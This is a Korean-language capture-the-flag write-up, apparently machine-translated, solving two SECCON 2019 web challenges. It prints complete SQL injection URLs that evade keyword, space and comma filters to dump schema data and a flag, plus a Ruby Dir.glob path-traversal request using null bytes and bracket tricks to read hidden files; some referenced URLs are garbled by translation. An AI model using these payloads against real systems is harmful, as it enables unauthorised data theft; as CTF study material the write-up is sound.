SECCON 2019 Online CTF Write-up

7314 단어 CTF
올해도 SECCON 2019 Online CTF에 참가했습니다.

자신은 web_search (212 pt)와 fileserver (345 pt)를 풀었으므로 Write-up을 작성합니다.

web_search



아무리 SQLi 할 수 있을 것 같은 느낌의 웹 사이트



하는 것은 UNION Based SQLi이지만 몇 가지 제약이 있습니다.
  • or라는 문자열이 제거됩니다
  • 공간을 사용할 수 없습니다
  • 쉼표 , 사용할 수 없음

  • 첫 번째 or를 사용할 수없는 것은 oorr로 바꾸면 바이 패스 할 수 있습니다.
    두 번째 공간을 사용할 수 없는 문제는 몇 가지 대응법이 있는 것 같습니다만, 자신은 %0b (탭 문자)로 대용했습니다.

    지금까지 UNION 할 때 필요한 열 수를 얻을 수 있습니다.
    http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#
    
    ORDER BY 의 값을 1, 2, ... (으)로 늘려 간 결과, 4 로 에러가 발생했기 때문에 컬럼수는 3 이라고 알 수 있습니다.

    그런데, 세번째의 쉼표를 사용할 수 없는 문제입니다만, htps : ///scg 왁스 p. 기주 b. 이오/2017/01/03/33c3ctf-w 를 참고로 하면 우회할 수 있는 것을 알았습니다.

    나머지는 항상 그렇습니다. 먼저 information_schema에서 필요한 정보를 SQLi로 추출합니다.
    http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
    http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#
    
    flag 테이블에서 FLAG를 꺼냅니다.
    http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#
    

    이것으로 FLAG가 손에 들어갈까 생각하면, 일부( You_Win_Yeah} ) 밖에 손에 들지 않았다.
    어쩔 수 없기 때문에, articles 테이블의 쪽도 봐 본다.
    http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
    http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#
    

    전반부( SECCON{Yeah_Sqli_Success_ )가 손에 들고 연결하면 FLAG가 된다.
    SECCON{Yeah_Sqli_Success_You_Win_Yeah}
    

    fileserver



    Ruby 표준 라이브러리 WEBrick에서 웹 서버가 시작되었습니다.


    req.path의 마지막이 /이면 해당 디렉토리 아래의 파일 목록이 반환됩니다.
    files = Dir.glob(".#{req.path}*")
    

    그렇지 않으면 일치하는 파일의 내용이 반환됩니다.
    matches = Dir.glob(req.path[1..])
    file = File.open(matches.first, 'rb')
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    res.body = file.read(1e6)
    

    FLAG 는 /tmp/flags/#{SecureRandom.alphanumeric(32)}.txt 에 있으므로 디렉토리 트래버설이 필요합니다.
    FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
    


    Dir.glob() 하지만 토 CS. 루 바이안 g. 오 rg 을 보면 다음과 같이 쓰여 있습니다.

    패턴을 문자열로 지정합니다. 패턴을 "\0"으로 구분하여 한 번에 여러 패턴을 지정할 수도 있습니다. 패턴 구분에는 "\0"만 지정할 수 있습니다. 배열을 지정하여 여러 패턴을 지정할 수 있습니다.

    따라서 다음과 같이 하면 /tmp/flags/* 의 파일 목록을 반환합니다.
    http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/
    

    FLAG 파일 이름을 얻었으므로, 마찬가지로 파일 내용을 얻으려고하면 다음 위치에서 오류 (널 문자가 포함되어 있다는 내용)가 발생합니다.
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    

    패스를 체크한다 is_bad_path 메소드를 잘 바이 패스하면 FLAG 가 입수한다.
    ( [{ 의 우선순위의 차이로부터 [ 를 사용하면 {} 를 사용할 수 있다)
    http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
    
    SECCON{You_are_the_Globbin'_Slayer}
    

    좋은 웹페이지 즐겨찾기